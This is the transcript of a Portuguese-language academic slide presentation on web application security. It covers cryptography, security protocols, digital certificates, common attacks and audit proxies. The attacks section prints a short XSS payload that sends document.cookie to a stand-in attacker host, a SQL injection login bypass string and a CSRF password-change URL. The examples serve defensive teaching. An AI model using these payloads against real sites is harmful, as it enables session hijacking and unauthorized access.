SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença...
Transcript of SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença...
SEGURANÇA DE APLICAÇÕES NA WEBAluno: Thiago Augusto Lopes Genez
Orientador: Mario Lemes Proença Jr.
SUMÁRIO Introdução
Conceitos Básicos de Segurança
Algoritmos Criptográficos
Protocolos de Segurança
Identificação Digital
Os Ataques
Ferramentas de Auditoria de Segurança
INTRODUÇÃO
Aplicação WEB: Acessada por um navegador WEB Meio de comunicação O canal é inseguro Internet Exemplos:
E-commerce, Banking on-line
Necessidade da Segurança Ausência da segurança Falta de manutenção e/ou configuração específica
da segurança Falta de atualizações diárias
Cada dia novos ataques são descobertos A camada da aplicação possui falhas de segurança
INTRODUÇÃO
Problema da insegurança nas aplicações WEB: Divulgação dos dados confidenciais “Quebra” do sigilo Perda da confiabilidade pelo
usuário. Informações caírem em “mãos erradas”
Solução: Criptografia, protocolos criptográficos,
identificação digital e ferramentas de auditoria. Objetivo
Garantir que as informações mantenham-se intactas e protegidas durante a sua transmissão na Internet.
Garantir um ambiente WEB seguro.
CONCEITOS BÁSICOS DE SEGURANÇA
Serviços disponibilizados pela segurança: Autenticação Confidencialidade Integridade Não-repúdio Controle de Acesso Disponibilidade
Tipos de ataques contra a Segurança Objetivo dos ataques: minimizar os serviços de
segurança
CONCEITOS BÁSICOS DE SEGURANÇA
CONCEITOS BÁSICOS DE SEGURANÇA
Classificação dos ataques
Ataques passivos: sem modificação do conteúdo “Libertação” do conteúdo da mensagem Análise de tráfego
Ataques Ativos: com modificação do conteúdo Disfarçado Mensagens repetitivas Modificação de Mensagens Negação de Serviço (DoS)
CONCEITOS BÁSICOS DE SEGURANÇA
O Problema da Segurança no Ambiente WEB Ocorrem nos Browsers:
Cookies, Applets, ActiveX, AJAX Entrada de dados não validado nas aplicações WEB
Solucionando o problema de segurança na WEB: Proteger :
O servidor WEB e os respectivos dados internos As informações que trafegam entre o servidor e o
usuário Planejar uma arquitetura de segurança para as
aplicações no seu ciclo de vida Os usuário finais devem navegar em uma
plataforma segura.
CONCEITOS BÁSICOS DE SEGURANÇA
ALGORITMOS CRIPTOGRÁFICOS
Origem etimológica grega: Ckryptós “escondido” Gráphein “escrever”.
Objetivo:Texto legível Cifra texto ilegível
Divididos em: Simétrico
Codificação em Blocos Codificação em Fluxo
Assimétrico Criptogrifia, Assinatura Digital e Troca de Chaves
Funções Hash
ALGORITMOS CRIPTOGRÁFICOSSIMÉTRICOS
Algoritmo Bloco Chave Informações
RC4 Fluxo 1-2048 bitsInternet Banking Caixa
Econômica Federal, Banco do Brasil, Itaú
RC5 32-128 bits 64-128 bits Chave 64 quebrada, chave 72 bits segura
RC6 128 bits 128-256 bits Ficou no 4° colocado do AES
DES 64 bits 64 bits Defasado, 1998 quebrado por hardware
TDES 64 bits 168 bits Comércio eletrônico PayPal
AES 128-256 bits 128-256 bits 1997-Rijndael, pagseguro (UOL)
Blowfish 64 ou 128 bits 128 bits Plataforma OpenBSD
Twofish 128-256 bits 256 bits Ficou no 3° colocado do AES
Serpent 128-256 bits 128-256 bits Ficou no 2° colocado do AES
ALGORITMOS CRIPTOGRÁFICOSASSIMÉTRICOS
Algoritmo Fornece Chave Informações
RSACriptografia
Assinatura digitalTroca de Chaves
1024-2048 bits
Utilizado na maioria dos certificados
digitais
Diffie-Hellman Troca de chaves 512-4096 bits
Necessita de mecanismo extra
para garantir autenticidade
DSA Assinatura Digital 1024 bits
Proposto em 1991 para ser o padrão para assinaturas
digitais
ECCCriptografia
Assinatura digitalTroca de Chaves
80-256 bitsDesafiar e concorrer
o RSA. Usado no DNSCurve
ECDSA Assinatura Digital 160 bits Concorrente ao DSA
ALGORITMOS CRIPTOGRÁFICOSFUNÇÕES HASH
Algoritmo Tamanho Hash Informações
MD5 128 bits Não é resistente a colisão (2008)
MD6 512 bits Não avançou para a segunda fase do concurso SHA-3 em julho 2009
SHA-1 160 bits Não é resistente a colisão
SHA-2 224, 256, 384, 512 bits
Nenhum tipo de ataque foi relatado e a partir de 2010 todas agencias
federais USA tem que substituir o SHA-1 para SHA-2
SHA-3 224, 256, 384, 512 bits
Concurso proposto pela NIST. (andamento na 2° fase, resultado
sairá em 2012)
PROTOCOLOS DE SEGURANÇA
Protocolos Ação Fornece Informações
SSL/TLS Entre as camadas de Transporte e a camada de aplicação
Criptografia (três tipos), Certificados Digitais
•Podem acoplar protocolos de alto nível: Ex, HTTPS•Ponto a Ponto
IPsec Na camada de Rede (pacote IP criptografado)
Autenticação, Criptografia e Gerenciamento de chaves
• Integrado no IPv6• Proteção nativa para todos os protocolos acima da camada de rede
WS-Security
Camada de aplicação
Criptografia XMLAssinatura XML
•Web Services•SOAP•Fim a Fim
DNSSec Serviço DNS Autenticação •Protege ataques DNS Spoofing (Falso DNS)
DNSCurve Serviço DNS AutenticaçãoCriptografia
•Protege ataques DoS
PROTOCOLOS DE SEGURANÇASSL/TLS X WS-SECURITY
•Informação está segura no canal•Protege toda a mensagem•Comunicação ponto a ponto
•Garante a segurança em todos os estágio da comunicação•Protege somente as porções da mensagem que precisa de segurança•Comunicação fim a fim
IDENTIFICAÇÃO DIGITAL Transações eletrônicas:
Integridade, autenticidade e confidencialidade Assinatura Digital
Bloco de dados criptografado anexado a mensagem
Fornece: Autenticação, Integridade e Não repúdio
Não garante a confidencialidade
IDENTIFICAÇÃO DIGITALCERTIFICADO DIGITAL
Distribuir as chaves públicas de pessoas físicas e/ou jurídicas de forma segura.
Autoridade Certificadora (AC) Terceiro Confiável
ATAQUES
Para proteger dos ataques é necessário conhecê-los
“Passos”: Reconhecimento do Alvo (DNS) Verificar a segurança da Rede O Ataque “Lá Dentro”
Ataque de força bruta Ataque do Homem do Meio (Man-in-the-middle) Ataque contra as aplicações WEB
Páginas dinâmicas Código executados no cliente (script client-side) Aplicação WEB + Servidor WEB +Banco de Dados Problema: Entrada dos dados não são tratados Dados armazenados em Cookies
ATAQUES XSS (Cross Site Scripting)
http://site.vulneravel.com/post.php?param=id_sessao http://site.vulneravel.com/post.php?parametro=<script>document.location
= servidor.invasor.com/roubarCookie.php?’+document.cookie</script>
Injeção SQL SELECT * FROM users WHERE username = ’" + username + "’ AND password
= ’" + password + "’"; SELECT * FROM users WHERE username = ’’ or 1=1;--’ AND password = ’’;
CSRF (Cross-site reference forgery) Manipula a sessão ativa da vítima (Cookie roubado) http://site.vulneravel.com/index.php?pagina=altera_senha.php Altera os valores: nova_senha=12345678&confirma_nova_senha=12345678
Phishing google.com googIe.com
DNS Spoofing Clickjacking
FERRAMENTAS DE AUDITORIA DE SEGURANÇA
Não é trivial encontrar vulnerabilidades das aplicações. Maioria das soluções propostas
Não garante a proteção na lógica da aplicação Aplicações desenvolvidas sem uma segurança na
camada da aplicação A segurança não incluída no ciclo de vida do software
Entrada dados não validados deixa a aplicação instável Ferramentas de auditoria
Minimiza as vulnerabilidades Objetivo de testar a segurança na camada de aplicação Funcionam como um proxy Manipulações dos pedidos e respostas HTTP/HTTPS Age como: “Homem do meio”
FERRAMENTAS DE AUDITORIA DE SEGURANÇA
Funções\Ferramenta RatProxy
Web Scarab
ParosBurp
Proxy w3af
IBM AppScan
Licença Livre Sim Sim Sim Não Sim Não
Multiplataforma Sim Sim Sim Sim Sim NãoManipula
pedidos/resposta HTTP(S) Não Sim Sim Sim Sim Sim
Relatório detalhado Sim Não Sim Sim Sim Sim
Sugestão para Correção Não Não Não Não Não Sim
Suporte SSL/TLS Sim Sim Sim Sim Sim Sim
XSS, Injeção SQL, CSR Sim Sim Sim Sim Sim Sim
Análise de Cookies Sim Sim Sim Sim Sim Sim
Análise de dados ocultos Não Não Sim Não Não Sim
Análise RESTful Não Sim Sim Não Sim NãoAmbiente
Desenvolvimento Não Não Não Não Não Sim
CONCLUSÃO Base da segurança: Criptografia Comunicação entre usuário final e a aplicação WEB:
Navegador WEB (browser) Canal é inseguro Internet Solução: Protocolos Criptográficos
Outra solução: identificação digital Transações eletrônicas:
Integridade, Autenticidade e Confidencialidade
Não garante a proteção na lógica da aplicação Linguagens WEB dinâmicas Entrada de dados não validados Deixa a aplicação WEB instável facilita os ataques Ferramentas de auditoria procura as vulnerabilidades
Computação na nuvem (cloud computing)
OBRIGADO